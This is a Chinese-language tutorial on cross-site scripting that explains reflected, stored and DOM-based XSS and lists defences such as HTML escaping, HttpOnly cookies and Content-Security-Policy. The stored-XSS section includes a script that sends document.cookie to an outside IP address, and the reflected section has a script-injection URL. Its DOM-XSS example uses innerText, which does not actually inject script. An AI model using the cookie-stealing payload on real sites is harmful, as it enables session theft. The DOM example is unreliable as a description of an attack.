# 跨站脚本攻击 (XSS)

# 1. 介绍

"XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。"

XSS攻击的核心方式是脚本。这些脚本通常是JavaScript脚本,从这个层面来说JavaScript能做的事情,XSS攻击一般都能做到。比如:

  • 通过 document.cookie 盗取 cookie 中的信息
  • 使用 js 或 css 破坏页面正常的结构与样式
  • 流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
  • DoS 攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie 信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame 进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

# 2. 分类

# 2.1 反射型xss

反射型xss又被称为非持久型xss。当用户访问一个带有xss攻击代码的url请求的时候,向服务器发送请求,服务器接受请求后处理,并把客户端发送的xss攻击代码返回给客户端,客户端解析这段代码的时候,就有可能遭受xss攻击

用户浏览某个网站A,攻击者在这个网站中嵌入了恶意的脚本用于盗取用户的cookie等信息 攻击者诱导用户触发xss攻击(比如诱导用户点击非法链接),当用户触发了xss攻击的时候就会将自己的用户信息发送给攻击者 攻击者在获取用户的cookie后,就有可能盗用用户的身份信息进行非法操作

http://xxx/search?keyword="><script>alert('XSS');</script>

# 反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等

数据流向: 浏览器 -> 后端 -> 浏览器

# 2.2 存储型xss

存储型xss又被称为持久化的xss。也是最危险的xss攻击方式。一旦攻击成功,就有可能造成大规模的xss攻击,也就是我们通常所说的xss蠕虫。

存储型xss攻击的一般原理是,客户端将带有xss攻击的数据发送给服务器,服务器接收并存储在数据库。当用户下次再访问这个页面的时候,服务器会读取数据库并将之前的xss代码取出发送给浏览器。浏览器解析这段数据的时候,就会遭受xss攻击。

所以,反射型xss攻击一般需要用户手动触发,而存储型xss攻击却是能够自动触发的。一般来说,反射型xss攻击的危害要比存储型xss攻击的危害要小的多。

 <!-- 比如通过评论输入框将下面代码提交,之后会执行下面代码 -->
<script type="text/javascript">
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
</script>
1
2
3
4

# 存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里

数据流向: 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器

# 2.3 DOM型xss

我们可以通过JavaScript来操作dom树,所以,xss攻击也是能够做到这一点的。dom型xss攻击最大的危害就是改变我们网页的布局。这种类型的xss是不需要和服务器进行交互的,只发生在客户端处理阶段。比如一段xss攻击的代码是:

const div = document.createElement('div');
div.innerText = 'xss攻击的代码';
document.body.appendChild(div);
1
2
3

# 反射型xss和dom-xss都需要在url加入js代码才能够触发

数据流向: URL -> 浏览器

# 2.4 对比总结

类型 反射型 存储型 DOM型
触发过程 正常用户访问携带XSS脚本的URL 1.黑客构造XSS脚本
2.正常用户访问携带XSS脚本的页面
正常用户访问携带XSS脚本的URL
数据存储 URL 数据库 URL
谁来输出 后端WEB应用程序 后端WEB应用程序 前端JS
输出位置 HTTP响应中 HTTP响应中 动态构建DOM节点

# 3. 防范措施

应对XSS攻击的主要手段还是编码与过滤两种,编码用于将特殊的符号 "<、>、&、'、""进行html转义,而过滤则是阻止特定的标记、属性、事件

# 3.1 转义HTML

对用户输入的数据进行HTML转义是防范XSS攻击的基础措施:

  • 使用encodeURIComponent对URL中的参数进行编码(反射型XSS)
  • 服务器接收到数据,在存储到数据库之前,进行转义/过滤
  • 前端接收到服务器传递过来的数据,在展示到页面前,先进行转义/过滤

设置Cookie的HttpOnly属性可以禁止JavaScript读取某些敏感Cookie,即使攻击者完成XSS注入也无法窃取此Cookie:

  • 防止脚本冒充用户提交危险操作
  • 如果某一个Cookie选项被设置成HttpOnly=true的话,此Cookie只能通过服务器端修改,JavaScript无法读写这个Cookie

# 3.3 Content-Security-Policy

在服务端使用HTTP的Content-Security-Policy头部来指定策略,或者在前端设置meta标签。例如下面的配置只允许加载同域下的资源:

Content-Security-Policy: default-src 'self';
1

# 3.4 使用安全的API

避免使用不安全的DOM操作API:

  • 在使用.innerHTML.outerHTMLdocument.write()时要特别小心,不要把不可信的数据作为HTML插到页面上
  • 应尽量使用.textContent.setAttribute()等更安全的API
  • 如果使用Vue/React技术栈,并且不使用v-html/dangerouslySetInnerHTML功能,就在前端render阶段避免innerHTMLouterHTML的XSS隐患

# 3.5 验证码

使用验证码可以防止脚本冒充用户提交危险操作,增加攻击成本。

# 4. 参考资料

什么是XSS攻击,XSS攻击可以分为哪几类?如何防范XSS攻击? (opens new window)

web安全之xss攻击 (opens new window)

Last Updated: 9/2/2025, 3:13:27 PM